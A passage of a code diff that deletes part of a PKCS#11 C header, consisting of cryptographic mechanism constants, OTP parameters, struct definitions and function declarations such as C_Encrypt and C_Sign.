-#define CKM_SHA512_256_HMAC_GENERAL	   (0x4eUL)
-#define CKM_SHA512_256_KEY_DERIVATION	   (0x4fUL)
-#define CKM_SHA512_T			   (0x50UL)
-#define CKM_SHA512_T_HMAC		   (0x51UL)
-#define CKM_SHA512_T_HMAC_GENERAL	   (0x52UL)
-#define CKM_SHA512_T_KEY_DERIVATION	   (0x53UL)
-#define CKM_RC2_KEY_GEN			   (0x100UL)
-#define CKM_RC2_ECB			   (0x101UL)
-#define CKM_RC2_CBC			   (0x102UL)
-#define CKM_RC2_MAC			   (0x103UL)
-#define CKM_RC2_MAC_GENERAL		   (0x104UL)
-#define CKM_RC2_CBC_PAD			   (0x105UL)
-#define CKM_RC4_KEY_GEN			   (0x110UL)
-#define CKM_RC4				   (0x111UL)
-#define CKM_DES_KEY_GEN			   (0x120UL)
-#define CKM_DES_ECB			   (0x121UL)
-#define CKM_DES_CBC			   (0x122UL)
-#define CKM_DES_MAC			   (0x123UL)
-#define CKM_DES_MAC_GENERAL		   (0x124UL)
-#define CKM_DES_CBC_PAD			   (0x125UL)
-#define CKM_DES2_KEY_GEN		   (0x130UL)
-#define CKM_DES3_KEY_GEN		   (0x131UL)
-#define CKM_DES3_ECB			   (0x132UL)
-#define CKM_DES3_CBC			   (0x133UL)
-#define CKM_DES3_MAC			   (0x134UL)
-#define CKM_DES3_MAC_GENERAL		   (0x135UL)
-#define CKM_DES3_CBC_PAD		   (0x136UL)
-#define CKM_DES3_CMAC_GENERAL		   (0x137UL)
-#define CKM_DES3_CMAC			   (0x138UL)
-#define CKM_CDMF_KEY_GEN		   (0x140UL)
-#define CKM_CDMF_ECB			   (0x141UL)
-#define CKM_CDMF_CBC			   (0x142UL)
-#define CKM_CDMF_MAC			   (0x143UL)
-#define CKM_CDMF_MAC_GENERAL		   (0x144UL)
-#define CKM_CDMF_CBC_PAD		   (0x145UL)
-#define CKM_DES_OFB64			   (0x150UL)
-#define CKM_DES_OFB8			   (0x151UL)
-#define CKM_DES_CFB64			   (0x152UL)
-#define CKM_DES_CFB8			   (0x153UL)
-#define CKM_MD2				   (0x200UL)
-#define CKM_MD2_HMAC			   (0x201UL)
-#define CKM_MD2_HMAC_GENERAL		   (0x202UL)
-#define CKM_MD5				   (0x210UL)
-#define CKM_MD5_HMAC			   (0x211UL)
-#define CKM_MD5_HMAC_GENERAL		   (0x212UL)
-#define CKM_SHA_1			   (0x220UL)
-#define CKM_SHA_1_HMAC			   (0x221UL)
-#define CKM_SHA_1_HMAC_GENERAL		   (0x222UL)
-#define CKM_RIPEMD128			   (0x230UL)
-#define CKM_RIPEMD128_HMAC		   (0x231UL)
-#define CKM_RIPEMD128_HMAC_GENERAL	   (0x232UL)
-#define CKM_RIPEMD160			   (0x240UL)
-#define CKM_RIPEMD160_HMAC		   (0x241UL)
-#define CKM_RIPEMD160_HMAC_GENERAL	   (0x242UL)
-#define CKM_SHA256			   (0x250UL)
-#define CKM_SHA256_HMAC			   (0x251UL)
-#define CKM_SHA256_HMAC_GENERAL		   (0x252UL)
-#define CKM_SHA384			   (0x260UL)
-#define CKM_SHA384_HMAC			   (0x261UL)
-#define CKM_SHA384_HMAC_GENERAL		   (0x262UL)
-#define CKM_SHA512			   (0x270UL)
-#define CKM_SHA512_HMAC			   (0x271UL)
-#define CKM_SHA512_HMAC_GENERAL		   (0x272UL)
-#define CKM_SECURID_KEY_GEN		   (0x280UL)
-#define CKM_SECURID			   (0x282UL)
-#define CKM_HOTP_KEY_GEN		   (0x290UL)
-#define CKM_HOTP			   (0x291UL)
-#define CKM_ACTI			   (0x2a0UL)
-#define CKM_ACTI_KEY_GEN		   (0x2a1UL)
-#define CKM_CAST_KEY_GEN		   (0x300UL)
-#define CKM_CAST_ECB			   (0x301UL)
-#define CKM_CAST_CBC			   (0x302UL)
-#define CKM_CAST_MAC			   (0x303UL)
-#define CKM_CAST_MAC_GENERAL		   (0x304UL)
-#define CKM_CAST_CBC_PAD		   (0x305UL)
-#define CKM_CAST3_KEY_GEN		   (0x310UL)
-#define CKM_CAST3_ECB			   (0x311UL)
-#define CKM_CAST3_CBC			   (0x312UL)
-#define CKM_CAST3_MAC			   (0x313UL)
-#define CKM_CAST3_MAC_GENERAL		   (0x314UL)
-#define CKM_CAST3_CBC_PAD		   (0x315UL)
-#define CKM_CAST5_KEY_GEN		   (0x320UL)
-#define CKM_CAST128_KEY_GEN		   (0x320UL)
-#define CKM_CAST5_ECB			   (0x321UL)
-#define CKM_CAST128_ECB			   (0x321UL)
-#define CKM_CAST5_CBC			   (0x322UL)
-#define CKM_CAST128_CBC			   (0x322UL)
-#define CKM_CAST5_MAC			   (0x323UL)
-#define CKM_CAST128_MAC			   (0x323UL)
-#define CKM_CAST5_MAC_GENERAL		   (0x324UL)
-#define CKM_CAST128_MAC_GENERAL		   (0x324UL)
-#define CKM_CAST5_CBC_PAD		   (0x325UL)
-#define CKM_CAST128_CBC_PAD		   (0x325UL)
-#define CKM_RC5_KEY_GEN			   (0x330UL)
-#define CKM_RC5_ECB			   (0x331UL)
-#define CKM_RC5_CBC			   (0x332UL)
-#define CKM_RC5_MAC			   (0x333UL)
-#define CKM_RC5_MAC_GENERAL		   (0x334UL)
-#define CKM_RC5_CBC_PAD			   (0x335UL)
-#define CKM_IDEA_KEY_GEN		   (0x340UL)
-#define CKM_IDEA_ECB			   (0x341UL)
-#define CKM_IDEA_CBC			   (0x342UL)
-#define CKM_IDEA_MAC			   (0x343UL)
-#define CKM_IDEA_MAC_GENERAL		   (0x344UL)
-#define CKM_IDEA_CBC_PAD		   (0x345UL)
-#define CKM_GENERIC_SECRET_KEY_GEN	   (0x350UL)
-#define CKM_CONCATENATE_BASE_AND_KEY	   (0x360UL)
-#define CKM_CONCATENATE_BASE_AND_DATA	   (0x362UL)
-#define CKM_CONCATENATE_DATA_AND_BASE	   (0x363UL)
-#define CKM_XOR_BASE_AND_DATA		   (0x364UL)
-#define CKM_EXTRACT_KEY_FROM_KEY	   (0x365UL)
-#define CKM_SSL3_PRE_MASTER_KEY_GEN	   (0x370UL)
-#define CKM_SSL3_MASTER_KEY_DERIVE	   (0x371UL)
-#define CKM_SSL3_KEY_AND_MAC_DERIVE	   (0x372UL)
-#define CKM_SSL3_MASTER_KEY_DERIVE_DH	   (0x373UL)
-#define CKM_TLS_PRE_MASTER_KEY_GEN	   (0x374UL)
-#define CKM_TLS_MASTER_KEY_DERIVE	   (0x375UL)
-#define CKM_TLS_KEY_AND_MAC_DERIVE	   (0x376UL)
-#define CKM_TLS_MASTER_KEY_DERIVE_DH	   (0x377UL)
-#define CKM_TLS_PRF			   (0x378UL)
-#define CKM_SSL3_MD5_MAC		   (0x380UL)
-#define CKM_SSL3_SHA1_MAC		   (0x381UL)
-#define CKM_MD5_KEY_DERIVATION		   (0x390UL)
-#define CKM_MD2_KEY_DERIVATION		   (0x391UL)
-#define CKM_SHA1_KEY_DERIVATION		   (0x392UL)
-#define CKM_SHA256_KEY_DERIVATION	   (0x393UL)
-#define CKM_SHA384_KEY_DERIVATION	   (0x394UL)
-#define CKM_SHA512_KEY_DERIVATION	   (0x395UL)
-#define CKM_PBE_MD2_DES_CBC		   (0x3a0UL)
-#define CKM_PBE_MD5_DES_CBC		   (0x3a1UL)
-#define CKM_PBE_MD5_CAST_CBC		   (0x3a2UL)
-#define CKM_PBE_MD5_CAST3_CBC		   (0x3a3UL)
-#define CKM_PBE_MD5_CAST5_CBC		   (0x3a4UL)
-#define CKM_PBE_MD5_CAST128_CBC		   (0x3a4UL)
-#define CKM_PBE_SHA1_CAST5_CBC		   (0x3a5UL)
-#define CKM_PBE_SHA1_CAST128_CBC	   (0x3a5UL)
-#define CKM_PBE_SHA1_RC4_128		   (0x3a6UL)
-#define CKM_PBE_SHA1_RC4_40		   (0x3a7UL)
-#define CKM_PBE_SHA1_DES3_EDE_CBC	   (0x3a8UL)
-#define CKM_PBE_SHA1_DES2_EDE_CBC	   (0x3a9UL)
-#define CKM_PBE_SHA1_RC2_128_CBC	   (0x3aaUL)
-#define CKM_PBE_SHA1_RC2_40_CBC		   (0x3abUL)
-#define CKM_PKCS5_PBKD2			   (0x3b0UL)
-#define CKM_PBA_SHA1_WITH_SHA1_HMAC	   (0x3c0UL)
-#define CKM_WTLS_PRE_MASTER_KEY_GEN	   (0x3d0UL)
-#define CKM_WTLS_MASTER_KEY_DERIVE	   (0x3d1UL)
-#define CKM_WTLS_MASTER_KEY_DERIVE_DH_ECC  (0x3d2UL)
-#define CKM_WTLS_PRF			   (0x3d3UL)
-#define CKM_WTLS_SERVER_KEY_AND_MAC_DERIVE (0x3d4UL)
-#define CKM_WTLS_CLIENT_KEY_AND_MAC_DERIVE (0x3d5UL)
-#define CKM_TLS10_MAC_SERVER		   (0x3d6UL)
-#define CKM_TLS10_MAC_CLIENT		   (0x3d7UL)
-#define CKM_TLS12_MAC			   (0x3d8UL)
-#define CKM_TLS12_KDF			   (0x3d9UL)
-#define CKM_TLS12_MASTER_KEY_DERIVE	   (0x3e0UL)
-#define CKM_TLS12_KEY_AND_MAC_DERIVE	   (0x3e1UL)
-#define CKM_TLS12_MASTER_KEY_DERIVE_DH	   (0x3e2UL)
-#define CKM_TLS12_KEY_SAFE_DERIVE	   (0x3e3UL)
-#define CKM_TLS_MAC			   (0x3e4UL)
-#define CKM_TLS_KDF			   (0x3e5UL)
-#define CKM_KEY_WRAP_LYNKS		   (0x400UL)
-#define CKM_KEY_WRAP_SET_OAEP		   (0x401UL)
-#define CKM_CMS_SIG			   (0x500UL)
-#define CKM_KIP_DERIVE			   (0x510UL)
-#define CKM_KIP_WRAP			   (0x511UL)
-#define CKM_KIP_MAC			   (0x512UL)
-#define CKM_ARIA_KEY_GEN		   (0x560UL)
-#define CKM_ARIA_ECB			   (0x561UL)
-#define CKM_ARIA_CBC			   (0x562UL)
-#define CKM_ARIA_MAC			   (0x563UL)
-#define CKM_ARIA_MAC_GENERAL		   (0x564UL)
-#define CKM_ARIA_CBC_PAD		   (0x565UL)
-#define CKM_ARIA_ECB_ENCRYPT_DATA	   (0x566UL)
-#define CKM_ARIA_CBC_ENCRYPT_DATA	   (0x567UL)
-#define CKM_SEED_KEY_GEN		   (0x650UL)
-#define CKM_SEED_ECB			   (0x651UL)
-#define CKM_SEED_CBC			   (0x652UL)
-#define CKM_SEED_MAC			   (0x653UL)
-#define CKM_SEED_MAC_GENERAL		   (0x654UL)
-#define CKM_SEED_CBC_PAD		   (0x655UL)
-#define CKM_SEED_ECB_ENCRYPT_DATA	   (0x656UL)
-#define CKM_SEED_CBC_ENCRYPT_DATA	   (0x657UL)
-#define CKM_SKIPJACK_KEY_GEN		   (0x1000UL)
-#define CKM_SKIPJACK_ECB64		   (0x1001UL)
-#define CKM_SKIPJACK_CBC64		   (0x1002UL)
-#define CKM_SKIPJACK_OFB64		   (0x1003UL)
-#define CKM_SKIPJACK_CFB64		   (0x1004UL)
-#define CKM_SKIPJACK_CFB32		   (0x1005UL)
-#define CKM_SKIPJACK_CFB16		   (0x1006UL)
-#define CKM_SKIPJACK_CFB8		   (0x1007UL)
-#define CKM_SKIPJACK_WRAP		   (0x1008UL)
-#define CKM_SKIPJACK_PRIVATE_WRAP	   (0x1009UL)
-#define CKM_SKIPJACK_RELAYX		   (0x100aUL)
-#define CKM_KEA_KEY_PAIR_GEN		   (0x1010UL)
-#define CKM_KEA_KEY_DERIVE		   (0x1011UL)
-#define CKM_FORTEZZA_TIMESTAMP		   (0x1020UL)
-#define CKM_BATON_KEY_GEN		   (0x1030UL)
-#define CKM_BATON_ECB128		   (0x1031UL)
-#define CKM_BATON_ECB96			   (0x1032UL)
-#define CKM_BATON_CBC128		   (0x1033UL)
-#define CKM_BATON_COUNTER		   (0x1034UL)
-#define CKM_BATON_SHUFFLE		   (0x1035UL)
-#define CKM_BATON_WRAP			   (0x1036UL)
-#define CKM_ECDSA_KEY_PAIR_GEN		   (0x1040UL)
-#define CKM_EC_KEY_PAIR_GEN		   (0x1040UL)
-#define CKM_ECDSA			   (0x1041UL)
-#define CKM_ECDSA_SHA1			   (0x1042UL)
-#define CKM_ECDSA_SHA224		   (0x1043UL)
-#define CKM_ECDSA_SHA256		   (0x1044UL)
-#define CKM_ECDSA_SHA384		   (0x1045UL)
-#define CKM_ECDSA_SHA512		   (0x1046UL)
-#define CKM_ECDH1_DERIVE		   (0x1050UL)
-#define CKM_ECDH1_COFACTOR_DERIVE	   (0x1051UL)
-#define CKM_ECMQV_DERIVE		   (0x1052UL)
-#define CKM_ECDH_AES_KEY_WRAP		   (0x1053UL)
-#define CKM_RSA_AES_KEY_WRAP		   (0x1054UL)
-#define CKM_JUNIPER_KEY_GEN		   (0x1060UL)
-#define CKM_JUNIPER_ECB128		   (0x1061UL)
-#define CKM_JUNIPER_CBC128		   (0x1062UL)
-#define CKM_JUNIPER_COUNTER		   (0x1063UL)
-#define CKM_JUNIPER_SHUFFLE		   (0x1064UL)
-#define CKM_JUNIPER_WRAP		   (0x1065UL)
-#define CKM_FASTHASH			   (0x1070UL)
-#define CKM_AES_KEY_GEN			   (0x1080UL)
-#define CKM_AES_ECB			   (0x1081UL)
-#define CKM_AES_CBC			   (0x1082UL)
-#define CKM_AES_MAC			   (0x1083UL)
-#define CKM_AES_MAC_GENERAL		   (0x1084UL)
-#define CKM_AES_CBC_PAD			   (0x1085UL)
-#define CKM_AES_CTR			   (0x1086UL)
-#define CKM_AES_GCM			   (0x1087UL)
-#define CKM_AES_CCM			   (0x1088UL)
-#define CKM_AES_CTS			   (0x1089UL)
-#define CKM_AES_CMAC			   (0x108aUL)
-#define CKM_AES_CMAC_GENERAL		   (0x108bUL)
-#define CKM_AES_XCBC_MAC		   (0x108cUL)
-#define CKM_AES_XCBC_MAC_96		   (0x108dUL)
-#define CKM_AES_GMAC			   (0x108eUL)
-#define CKM_BLOWFISH_KEY_GEN		   (0x1090UL)
-#define CKM_BLOWFISH_CBC		   (0x1091UL)
-#define CKM_TWOFISH_KEY_GEN		   (0x1092UL)
-#define CKM_TWOFISH_CBC			   (0x1093UL)
-#define CKM_BLOWFISH_CBC_PAD		   (0x1094UL)
-#define CKM_TWOFISH_CBC_PAD		   (0x1095UL)
-#define CKM_DES_ECB_ENCRYPT_DATA	   (0x1100UL)
-#define CKM_DES_CBC_ENCRYPT_DATA	   (0x1101UL)
-#define CKM_DES3_ECB_ENCRYPT_DATA	   (0x1102UL)
-#define CKM_DES3_CBC_ENCRYPT_DATA	   (0x1103UL)
-#define CKM_AES_ECB_ENCRYPT_DATA	   (0x1104UL)
-#define CKM_AES_CBC_ENCRYPT_DATA	   (0x1105UL)
-#define CKM_GOSTR3410_KEY_PAIR_GEN	   (0x1200UL)
-#define CKM_GOSTR3410			   (0x1201UL)
-#define CKM_GOSTR3410_WITH_GOSTR3411	   (0x1202UL)
-#define CKM_GOSTR3410_KEY_WRAP		   (0x1203UL)
-#define CKM_GOSTR3410_DERIVE		   (0x1204UL)
-#define CKM_GOSTR3411			   (0x1210UL)
-#define CKM_GOSTR3411_HMAC		   (0x1211UL)
-#define CKM_GOST28147_KEY_GEN		   (0x1220UL)
-#define CKM_GOST28147_ECB		   (0x1221UL)
-#define CKM_GOST28147			   (0x1222UL)
-#define CKM_GOST28147_MAC		   (0x1223UL)
-#define CKM_GOST28147_KEY_WRAP		   (0x1224UL)
-#define CKM_DSA_PARAMETER_GEN		   (0x2000UL)
-#define CKM_DH_PKCS_PARAMETER_GEN	   (0x2001UL)
-#define CKM_X9_42_DH_PARAMETER_GEN	   (0x2002UL)
-#define CKM_DSA_PROBABLISTIC_PARAMETER_GEN (0x2003UL)
-#define CKM_DSA_SHAWE_TAYLOR_PARAMETER_GEN (0x2004UL)
-#define CKM_AES_OFB			   (0x2104UL)
-#define CKM_AES_CFB64			   (0x2105UL)
-#define CKM_AES_CFB8			   (0x2106UL)
-#define CKM_AES_CFB128			   (0x2107UL)
-#define CKM_AES_CFB1			   (0x2108UL)
-
-#define CKM_VENDOR_DEFINED ((unsigned long)(1UL << 31))
-
-/* Amendments */
-#define CKM_SHA224		  (0x255UL)
-#define CKM_SHA224_HMAC		  (0x256UL)
-#define CKM_SHA224_HMAC_GENERAL	  (0x257UL)
-#define CKM_SHA224_RSA_PKCS	  (0x46UL)
-#define CKM_SHA224_RSA_PKCS_PSS	  (0x47UL)
-#define CKM_SHA224_KEY_DERIVATION (0x396UL)
-
-#define CKM_CAMELLIA_KEY_GEN	      (0x550UL)
-#define CKM_CAMELLIA_ECB	      (0x551UL)
-#define CKM_CAMELLIA_CBC	      (0x552UL)
-#define CKM_CAMELLIA_MAC	      (0x553UL)
-#define CKM_CAMELLIA_MAC_GENERAL      (0x554UL)
-#define CKM_CAMELLIA_CBC_PAD	      (0x555UL)
-#define CKM_CAMELLIA_ECB_ENCRYPT_DATA (0x556UL)
-#define CKM_CAMELLIA_CBC_ENCRYPT_DATA (0x557UL)
-#define CKM_CAMELLIA_CTR	      (0x558UL)
-
-#define CKM_AES_KEY_WRAP     (0x2109UL)
-#define CKM_AES_KEY_WRAP_PAD (0x210aUL)
-
-#define CKM_RSA_PKCS_TPM_1_1	  (0x4001UL)
-#define CKM_RSA_PKCS_OAEP_TPM_1_1 (0x4002UL)
-
-/* From version 3.0 */
-#define CKM_EC_EDWARDS_KEY_PAIR_GEN (0x1055UL)
-#define CKM_EDDSA		    (0x1057UL)
-
-/* Attribute and other constants related to OTP */
-#define CK_OTP_FORMAT_DECIMAL	   (0UL)
-#define CK_OTP_FORMAT_HEXADECIMAL  (1UL)
-#define CK_OTP_FORMAT_ALPHANUMERIC (2UL)
-#define CK_OTP_FORMAT_BINARY	   (3UL)
-#define CK_OTP_PARAM_IGNORED	   (0UL)
-#define CK_OTP_PARAM_OPTIONAL	   (1UL)
-#define CK_OTP_PARAM_MANDATORY	   (2UL)
-
-#define CK_OTP_VALUE	     (0UL)
-#define CK_OTP_PIN	     (1UL)
-#define CK_OTP_CHALLENGE     (2UL)
-#define CK_OTP_TIME	     (3UL)
-#define CK_OTP_COUNTER	     (4UL)
-#define CK_OTP_FLAGS	     (5UL)
-#define CK_OTP_OUTPUT_LENGTH (6UL)
-#define CK_OTP_FORMAT	     (7UL)
-
-/* OTP mechanism flags */
-#define CKF_NEXT_OTP	      (0x01UL)
-#define CKF_EXCLUDE_TIME      (0x02UL)
-#define CKF_EXCLUDE_COUNTER   (0x04UL)
-#define CKF_EXCLUDE_CHALLENGE (0x08UL)
-#define CKF_EXCLUDE_PIN	      (0x10UL)
-#define CKF_USER_FRIENDLY_OTP (0x20UL)
-
-#define CKN_OTP_CHANGED (0x01UL)
-
-struct ck_mechanism {
-	ck_mechanism_type_t mechanism;
-	void *		    parameter;
-	unsigned long	    parameter_len;
-};
-
-struct ck_mechanism_info {
-	unsigned long min_key_size;
-	unsigned long max_key_size;
-	ck_flags_t    flags;
-};
-
-typedef unsigned long ck_param_type;
-
-typedef struct ck_otp_param {
-	ck_param_type type;
-	void *	      value;
-	unsigned long value_len;
-} ck_otp_param;
-
-typedef struct ck_otp_params {
-	struct ck_otp_param *params;
-	unsigned long	     count;
-} ck_otp_params;
-
-typedef struct ck_otp_signature_info {
-	struct ck_otp_param *params;
-	unsigned long	     count;
-} ck_otp_signature_info;
-
-#define CKG_MGF1_SHA1	0x00000001UL
-#define CKG_MGF1_SHA224 0x00000005UL
-#define CKG_MGF1_SHA256 0x00000002UL
-#define CKG_MGF1_SHA384 0x00000003UL
-#define CKG_MGF1_SHA512 0x00000004UL
-
-typedef unsigned long ck_rsa_pkcs_mgf_type_t;
-
-struct ck_rsa_pkcs_pss_params {
-	ck_mechanism_type_t    hash_alg;
-	ck_rsa_pkcs_mgf_type_t mgf;
-	unsigned long	       s_len;
-};
-
-typedef unsigned long ck_rsa_pkcs_oaep_source_type_t;
-
-struct ck_rsa_pkcs_oaep_params {
-	ck_mechanism_type_t	       hash_alg;
-	ck_rsa_pkcs_mgf_type_t	       mgf;
-	ck_rsa_pkcs_oaep_source_type_t source;
-	void *			       source_data;
-	unsigned long		       source_data_len;
-};
-
-struct ck_aes_ctr_params {
-	unsigned long counter_bits;
-	unsigned char cb[16];
-};
-
-struct ck_gcm_params {
-	unsigned char *iv_ptr;
-	unsigned long  iv_len;
-	unsigned long  iv_bits;
-	unsigned char *aad_ptr;
-	unsigned long  aad_len;
-	unsigned long  tag_bits;
-};
-
-/* The following EC Key Derivation Functions are defined */
-#define CKD_NULL     (0x01UL)
-#define CKD_SHA1_KDF (0x02UL)
-
-/* The following X9.42 DH key derivation functions are defined */
-#define CKD_SHA1_KDF_ASN1	 (0x03UL)
-#define CKD_SHA1_KDF_CONCATENATE (0x04UL)
-#define CKD_SHA224_KDF		 (0x05UL)
-#define CKD_SHA256_KDF		 (0x06UL)
-#define CKD_SHA384_KDF		 (0x07UL)
-#define CKD_SHA512_KDF		 (0x08UL)
-#define CKD_CPDIVERSIFY_KDF	 (0x09UL)
-
-typedef unsigned long ck_ec_kdf_t;
-
-struct ck_ecdh1_derive_params {
-	ck_ec_kdf_t    kdf;
-	unsigned long  shared_data_len;
-	unsigned char *shared_data;
-	unsigned long  public_data_len;
-	unsigned char *public_data;
-};
-
-struct ck_key_derivation_string_data {
-	unsigned char *string_data;
-	unsigned long  string_data_len;
-};
-
-struct ck_des_cbc_encrypt_data_params {
-	unsigned char  iv[8];
-	unsigned char *data_params;
-	unsigned long  length;
-};
-
-struct ck_aes_cbc_encrypt_data_params {
-	unsigned char  iv[16];
-	unsigned char *data_params;
-	unsigned long  length;
-};
-
-#define CKF_HW		      (1UL << 0)
-#define CKF_ENCRYPT	      (1UL << 8)
-#define CKF_DECRYPT	      (1UL << 9)
-#define CKF_DIGEST	      (1UL << 10)
-#define CKF_SIGN	      (1UL << 11)
-#define CKF_SIGN_RECOVER      (1UL << 12)
-#define CKF_VERIFY	      (1UL << 13)
-#define CKF_VERIFY_RECOVER    (1UL << 14)
-#define CKF_GENERATE	      (1UL << 15)
-#define CKF_GENERATE_KEY_PAIR (1UL << 16)
-#define CKF_WRAP	      (1UL << 17)
-#define CKF_UNWRAP	      (1UL << 18)
-#define CKF_DERIVE	      (1UL << 19)
-#define CKF_EXTENSION	      ((unsigned long)(1UL << 31))
-
-#define CKF_EC_F_P	  (1UL << 20)
-#define CKF_EC_NAMEDCURVE (1UL << 23)
-#define CKF_EC_UNCOMPRESS (1UL << 24)
-#define CKF_EC_COMPRESS	  (1UL << 25)
-
-/* Flags for C_WaitForSlotEvent.  */
-#define CKF_DONT_BLOCK (1UL)
-
-typedef unsigned long ck_rv_t;
-
-typedef ck_rv_t (*ck_notify_t)(ck_session_handle_t session,
-			       ck_notification_t event, void *application);
-
-/* Forward reference.  */
-struct ck_function_list;
-
-#define _CK_DECLARE_FUNCTION(name, args)  \
-	typedef ck_rv_t(*CK_##name) args; \
-	ck_rv_t CK_SPEC name args
-
-_CK_DECLARE_FUNCTION(C_Initialize, (void *init_args));
-_CK_DECLARE_FUNCTION(C_Finalize, (void *reserved));
-_CK_DECLARE_FUNCTION(C_GetInfo, (struct ck_info * info));
-_CK_DECLARE_FUNCTION(C_GetFunctionList,
-		     (struct ck_function_list * *function_list));
-
-_CK_DECLARE_FUNCTION(C_GetSlotList,
-		     (unsigned char token_present, ck_slot_id_t *slot_list,
-		      unsigned long *count));
-_CK_DECLARE_FUNCTION(C_GetSlotInfo,
-		     (ck_slot_id_t slot_id, struct ck_slot_info *info));
-_CK_DECLARE_FUNCTION(C_GetTokenInfo,
-		     (ck_slot_id_t slot_id, struct ck_token_info *info));
-_CK_DECLARE_FUNCTION(C_WaitForSlotEvent,
-		     (ck_flags_t flags, ck_slot_id_t *slot, void *reserved));
-_CK_DECLARE_FUNCTION(C_GetMechanismList,
-		     (ck_slot_id_t slot_id, ck_mechanism_type_t *mechanism_list,
-		      unsigned long *count));
-_CK_DECLARE_FUNCTION(C_GetMechanismInfo,
-		     (ck_slot_id_t slot_id, ck_mechanism_type_t type,
-		      struct ck_mechanism_info *info));
-_CK_DECLARE_FUNCTION(C_InitToken,
-		     (ck_slot_id_t slot_id, unsigned char *pin,
-		      unsigned long pin_len, unsigned char *label));
-_CK_DECLARE_FUNCTION(C_InitPIN, (ck_session_handle_t session,
-				 unsigned char *pin, unsigned long pin_len));
-_CK_DECLARE_FUNCTION(C_SetPIN, (ck_session_handle_t session,
-				unsigned char *old_pin, unsigned long old_len,
-				unsigned char *new_pin, unsigned long new_len));
-
-_CK_DECLARE_FUNCTION(C_OpenSession,
-		     (ck_slot_id_t slot_id, ck_flags_t flags, void *application,
-		      ck_notify_t notify, ck_session_handle_t *session));
-_CK_DECLARE_FUNCTION(C_CloseSession, (ck_session_handle_t session));
-_CK_DECLARE_FUNCTION(C_CloseAllSessions, (ck_slot_id_t slot_id));
-_CK_DECLARE_FUNCTION(C_GetSessionInfo, (ck_session_handle_t	session,
-					struct ck_session_info *info));
-_CK_DECLARE_FUNCTION(C_GetOperationState, (ck_session_handle_t session,
-					   unsigned char *     operation_state,
-					   unsigned long *operation_state_len));
-_CK_DECLARE_FUNCTION(C_SetOperationState,
-		     (ck_session_handle_t session,
-		      unsigned char *	  operation_state,
-		      unsigned long	  operation_state_len,
-		      ck_object_handle_t  encryption_key,
-		      ck_object_handle_t  authentiation_key));
-_CK_DECLARE_FUNCTION(C_Login,
-		     (ck_session_handle_t session, ck_user_type_t user_type,
-		      unsigned char *pin, unsigned long pin_len));
-_CK_DECLARE_FUNCTION(C_Logout, (ck_session_handle_t session));
-
-_CK_DECLARE_FUNCTION(C_CreateObject,
-		     (ck_session_handle_t session, struct ck_attribute *templ,
-		      unsigned long count, ck_object_handle_t *object));
-_CK_DECLARE_FUNCTION(C_CopyObject,
-		     (ck_session_handle_t session, ck_object_handle_t object,
-		      struct ck_attribute *templ, unsigned long count,
-		      ck_object_handle_t *new_object));
-_CK_DECLARE_FUNCTION(C_DestroyObject,
-		     (ck_session_handle_t session, ck_object_handle_t object));
-_CK_DECLARE_FUNCTION(C_GetObjectSize,
-		     (ck_session_handle_t session, ck_object_handle_t object,
-		      unsigned long *size));
-_CK_DECLARE_FUNCTION(C_GetAttributeValue,
-		     (ck_session_handle_t session, ck_object_handle_t object,
-		      struct ck_attribute *templ, unsigned long count));
-_CK_DECLARE_FUNCTION(C_SetAttributeValue,
-		     (ck_session_handle_t session, ck_object_handle_t object,
-		      struct ck_attribute *templ, unsigned long count));
-_CK_DECLARE_FUNCTION(C_FindObjectsInit,
-		     (ck_session_handle_t session, struct ck_attribute *templ,
-		      unsigned long count));
-_CK_DECLARE_FUNCTION(C_FindObjects,
-		     (ck_session_handle_t session, ck_object_handle_t *object,
-		      unsigned long  max_object_count,
-		      unsigned long *object_count));
-_CK_DECLARE_FUNCTION(C_FindObjectsFinal, (ck_session_handle_t session));
-
-_CK_DECLARE_FUNCTION(C_EncryptInit,
-		     (ck_session_handle_t  session,
-		      struct ck_mechanism *mechanism, ck_object_handle_t key));
-_CK_DECLARE_FUNCTION(C_Encrypt,
-		     (ck_session_handle_t session, unsigned char *data,
-		      unsigned long data_len, unsigned char *encrypted_data,
-		      unsigned long *encrypted_data_len));
-_CK_DECLARE_FUNCTION(C_EncryptUpdate,
-		     (ck_session_handle_t session, unsigned char *part,
-		      unsigned long part_len, unsigned char *encrypted_part,
-		      unsigned long *encrypted_part_len));
-_CK_DECLARE_FUNCTION(C_EncryptFinal, (ck_session_handle_t session,
-				      unsigned char *	  last_encrypted_part,
-				      unsigned long *last_encrypted_part_len));
-
-_CK_DECLARE_FUNCTION(C_DecryptInit,
-		     (ck_session_handle_t  session,
-		      struct ck_mechanism *mechanism, ck_object_handle_t key));
-_CK_DECLARE_FUNCTION(C_Decrypt, (ck_session_handle_t session,
-				 unsigned char *     encrypted_data,
-				 unsigned long	     encrypted_data_len,
-				 unsigned char *data, unsigned long *data_len));
-_CK_DECLARE_FUNCTION(C_DecryptUpdate,
-		     (ck_session_handle_t session,
-		      unsigned char *	  encrypted_part,
-		      unsigned long encrypted_part_len, unsigned char *part,
-		      unsigned long *part_len));
-_CK_DECLARE_FUNCTION(C_DecryptFinal,
-		     (ck_session_handle_t session, unsigned char *last_part,
-		      unsigned long *last_part_len));
-
-_CK_DECLARE_FUNCTION(C_DigestInit, (ck_session_handle_t	 session,
-				    struct ck_mechanism *mechanism));
-_CK_DECLARE_FUNCTION(C_Digest,
-		     (ck_session_handle_t session, unsigned char *data,
-		      unsigned long data_len, unsigned char *digest,
-		      unsigned long *digest_len));
-_CK_DECLARE_FUNCTION(C_DigestUpdate,
-		     (ck_session_handle_t session, unsigned char *part,
-		      unsigned long part_len));
-_CK_DECLARE_FUNCTION(C_DigestKey,
-		     (ck_session_handle_t session, ck_object_handle_t key));
-_CK_DECLARE_FUNCTION(C_DigestFinal,
-		     (ck_session_handle_t session, unsigned char *digest,
-		      unsigned long *digest_len));
-
-_CK_DECLARE_FUNCTION(C_SignInit,
-		     (ck_session_handle_t  session,
-		      struct ck_mechanism *mechanism, ck_object_handle_t key));
-_CK_DECLARE_FUNCTION(C_Sign, (ck_session_handle_t session, unsigned char *data,
-			      unsigned long data_len, unsigned char *signature,
-			      unsigned long *signature_len));
-_CK_DECLARE_FUNCTION(C_SignUpdate,
-		     (ck_session_handle_t session, unsigned char *part,
-		      unsigned long part_len));
-_CK_DECLARE_FUNCTION(C_SignFinal,
-		     (ck_session_handle_t session, unsigned char *signature,
-		      unsigned long *signature_len));
-_CK_DECLARE_FUNCTION(C_SignRecoverInit,
-		     (ck_session_handle_t  session,
-		      struct ck_mechanism *mechanism, ck_object_handle_t key));
-_CK_DECLARE_FUNCTION(C_SignRecover,
-		     (ck_session_handle_t session, unsigned char *data,
